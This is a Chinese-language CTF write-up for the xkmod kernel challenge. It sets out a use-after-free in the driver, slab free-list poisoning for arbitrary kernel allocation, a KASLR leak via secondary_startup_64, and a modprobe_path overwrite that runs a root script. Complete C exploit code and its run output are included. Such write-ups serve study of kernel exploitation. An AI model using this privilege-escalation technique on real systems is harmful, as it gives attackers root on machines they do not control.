内核堆题基本思路:通过修改free_list的next指针来完成内核空间任意地址分配
保护机制 查看开启的保护机制,通过qemu启动脚本可知开启kaslr,smep,smap,查看/sys/devices/system/cpu/vulnerabilities/*
内容可知开启PTI保护,或者通过/proc/cpuinfo
查看:
1 2 3 4 5 6 /home $ grep flags /proc/cpuinfo -m 1 | grep pti flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisop /home $ grep flags /proc/cpuinfo -m 1 | grep smep flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisop /home $ grep flags /proc/cpuinfo -m 1 | grep smap flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisop
1 2 3 4 5 6 7 8 9 /home $ cat /sys/devices/system/cpu/vulnerabilities/* Processor vulnerable Mitigation: PTE Inversion Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown Mitigation: PTI Vulnerable Mitigation: usercopy/swapgs barriers and __user pointer sanitization Mitigation: Full generic retpoline, STIBP: disabled, RSB filling Not affected
漏洞分析 使用ida查看xkmod.ko
反汇编逻辑:xkmod_init
逻辑如下:
xkmod_init
函数初始化xkmod驱动,并使用kmem_cache_create创建了大小为0xc0的kmem_cache堆。xkmod_ioctl
逻辑如下:
arg参数为包裹一个结构体,定义如下:
1 2 3 4 5 6 struct user_payload { unsigned long addr; int offset; int size; }
函数逻辑如下: 当cmd为0x1111111时,从init创建的slab缓存中分配kmem_cache到buf; 当cmd为0x6666666时,将用户指定user_payload.addr的size写入到buf的指定偏移处; 当cmd为0x7777777时,读取buf的指定偏移到用户地址。 xkmod_release函数,将buf释放,但是没有对buf置零,因此存在UAF漏洞。
还有一个copy_overflow函数,但是没有调用逻辑:
漏洞利用 任意地址读写 先构造一个交互脚本如下:
showLineNumbers 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #define SUCCESS_MSG(msg) "\033[32m\033[1m[SUCCESS]" msg "\033[0m" #define INFO_MSG(msg) "\033[34m\033[1m[INFO]" msg "\033[0m" #define ERROR_MSG(msg) "\033[31m\033[1m[ERROR]" msg "\033[0m" #define log_success(msg) puts(SUCCESS_MSG(msg)) #define log_info(msg) puts(INFO_MSG(msg)) #define log_error(msg) puts(ERROR_MSG(msg)) struct Data { long *ptr; int offset; int size; }; int main () { char *test_data = "This is test data" ; struct Data data ; data.ptr = test_data; data.offset = 0 ; data.size = 0x10 ; int fd1 = 0 , fd2 = 0 ; fd1 = open("/dev/xkmod" , 0 ); if (fd1 < 0 ) { log_error("open device1 failed." ); return -1 ; } log_info("open device1 success" ); fd2 = open("/dev/xkmod" , 0 ); if (fd2 < 0 ) { log_error("open device2 failed." ); close(fd1); return -1 ; } log_info("open device2 success" ); ioctl(fd1, 0x1111111 , &data); ioctl(fd2, 0x1111111 , &data); ioctl(fd1, 0x6666666 , &data); log_info("write test_data to kmem_cache1 success" ); close(fd1); close(fd2); return 0 ; }
运行几次查看是否开启RANDOM_LIST和HARDEN_LIST保护
1 2 3 4 5 6 7 8 9 10 # 第一次运行exp第一次执行kmem_cache_alloc RAX 0xffff8880071b50c0 —▸ 0xffff8880071b53c0 —▸ 0xffff8880071b5540 —▸ 0xffff8880071b5240 —▸ 0xffff8880071b5f00 ◂— ... # 第一次运行exp第二次执行kmem_cache_alloc RAX 0xffff8880071b53c0 —▸ 0xffff8880071b5540 —▸ 0xffff8880071b5240 —▸ 0xffff8880071b5f00 —▸ 0xffff8880071b5d80 ◂— ... # 第一次运行exp执行copy_from_user RSI 0xffff8880071b53c0 ◂— 'This is test dat' # 第二次运行exp执行kmem_cache_free RSI 0xffff8880071b53c0 —▸ 0xffff8880071b56c0 —▸ 0xffff8880071b5540 —▸ 0xffff8880071b5240 —▸ 0xffff8880071b5f00 ◂— ... # 第三次运行exp执行kmem_cache_free RSI 0xffff8880071a3480 —▸ 0xffff8880071a3240 —▸ 0xffff8880071a3180 —▸ 0xffff8880071a3e40 —▸ 0xffff8880071a3cc0 ◂— ...
因此说明kmem_cache的offset为0,未开启HARDEN_LIST保护,开启了RANDOM_LIST保护 RANDOM_LIST并非运行时保护,其在进入free-list后的顺序是固定的,也就是说free后再次申请的获得的顺序是固定的,那么就可以修改一个uaf的next指针为要申请的地址,再分配一次即可实现任意地址申请,进而实现任意地址读写。 这个会引入一个问题,即修改后uaf的next指针为申请的目标地址,当分配uaf的块后,会将目标地址的next指针的8字节数据写入到free-list,此时如果目标地址前8字节指向内容不合法即会导致内核panic,需要前8字节为0,这样kmem_cache会向buddy system请求一个新的slub,这样就不会crash。
泄露内核基址 在Direct Memory Mapping区域+0x9d000地址存放着内核函数secondary_startup_64的地址,由此可以尝试泄露该函数地址,从而获取内核基址。
1 2 3 4 5 6 pwndbg> telescope 0xffff888000000000+0x9d000 00:0000│ 0xffff88800009d000 —▸ 0xffffffff81000030 (secondary_startup_64) ◂— call 0xffffffff810000e0 01:0008│ 0xffff88800009d008 ◂— 0x901 02:0010│ 0xffff88800009d010 ◂— 0x6b0 03:0018│ 0xffff88800009d018 ◂— 0 ... ↓ 4 skipped
修改modprobe_path 通过uaf修改modprobe_path地址的内容,然后构造fakefile即可实现任意命令执行: exp如下:
showLineNumbers 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sched.h> #define SUCCESS_MSG(msg) "\033[32m\033[1m[+]" msg "\033[0m" #define INFO_MSG(msg) "\033[34m\033[1m[*]" msg "\033[0m" #define ERROR_MSG(msg) "\033[31m\033[1m[x]" msg "\033[0m" #define log_success(msg) puts(SUCCESS_MSG(msg)) #define log_info(msg) puts(INFO_MSG(msg)) #define log_error(msg) puts(ERROR_MSG(msg)) #define HEAP_BASE_ADDR 0xffff888000000000 #define KERNEL_BASE_ADDR 0xffffffff81000000 #define MODPROBE_PATH_ADDR 0xFFFFFFFF82444700 #define ROOT_SCRIPT_PATH "/home/getshell" char root_cmd[] = "#!/bin/sh\nchmod 777 /flag" ;struct Data { long *ptr; int offset; int size; }; void bindCore (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); log_info("Process binded to core 0" ); } int main () { bindCore(0 ); char *test_data = "This is test data" ; struct Data data ; data.ptr = malloc (8 ); data.offset = 0 ; data.size = 0x08 ; int fd1 = 0 , fd2 = 0 ; fd1 = open("/dev/xkmod" , 0 ); if (fd1 < 0 ) { log_error("open device1 failed." ); return -1 ; } log_info("open device1 success" ); fd2 = open("/dev/xkmod" , 0 ); if (fd2 < 0 ) { log_error("open device2 failed." ); close(fd1); return -1 ; } log_info("open device2 success" ); ioctl(fd1, 0x1111111 , &data); ioctl(fd2, 0x1111111 , &data); close(fd1); data.ptr = malloc (8 ); ioctl(fd2, 0x7777777 , &data); size_t heap_base_addr = *data.ptr & 0xfffffffff0000000 ; printf ("[*] Guess Kernel Heap Base Address: 0x%lx\n" , heap_base_addr); size_t *fake_chunk = heap_base_addr + 0x9d000 - 0x10 ; data.ptr = &fake_chunk; ioctl(fd2, 0x6666666 , &data); ioctl(fd2, 0x1111111 , &data); ioctl(fd2, 0x1111111 , &data); data.ptr = malloc (8 ); data.offset = 0x10 ; data.size = 0x08 ; ioctl(fd2, 0x7777777 , &data); size_t kernel_base_addr = *data.ptr - 0x000030 ; printf ("[*] Kernel Base Address: 0x%lx\n" , *data.ptr - 0x000030 ); size_t modprobe_path = MODPROBE_PATH_ADDR - KERNEL_BASE_ADDR + kernel_base_addr; printf ("[*] modprobe_path is 0x%lx\n" , modprobe_path); fd1 = open("/dev/xkmod" , 0 ); fd2 = open("/dev/xkmod" , 0 ); size_t *fake_chunk1 = modprobe_path - 0x10 ; struct Data data1 ; data1.ptr = &fake_chunk1; data1.offset = 0 ; data1.size = 0x8 ; ioctl(fd1, 0x1111111 , &data1); ioctl(fd2, 0x1111111 , &data1); close(fd1); ioctl(fd2, 0x6666666 , &data1); ioctl(fd2, 0x1111111 , &data1); ioctl(fd2, 0x1111111 , &data1); data1.ptr = &ROOT_SCRIPT_PATH; data1.offset = 0x10 ; data1.size = strlen (ROOT_SCRIPT_PATH); ioctl(fd2, 0x6666666 , &data1); int root_script_fd, flag_fd; root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT); write(root_script_fd, root_cmd, sizeof (root_cmd)); close(root_script_fd); system("chmod +x " ROOT_SCRIPT_PATH); system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake" ); system("chmod +x /home/fake" ); system("/home/fake" ); char flag[0x100 ]; memset (flag, 0 , sizeof (flag)); flag_fd = open("/flag" , O_RDWR); if (flag_fd < 0 ) { return -1 ; } read(flag_fd, flag, sizeof (flag)); printf ("[+] flag: %s\n" , flag); return 0 ; }
可以获取flag如下:
1 2 3 4 5 6 7 8 9 /home $ /exp [*]Process binded to core 0 [*]open device1 success [*]open device2 success [*] Guess Kernel Heap Base Address: 0xffff8bde80000000 [*] Kernel Base Address: 0xffffffff92e00000 [*] modprobe_path is 0xffffffff94244700 /home/fake: line 1: : not found [+] flag: rwctf{just_for_test}
?是否能直接通过读取rootfs的方式来获取flag,因为是磁盘,大概率是可以的,但是远程感觉不一定现实,后面有时间可以试试…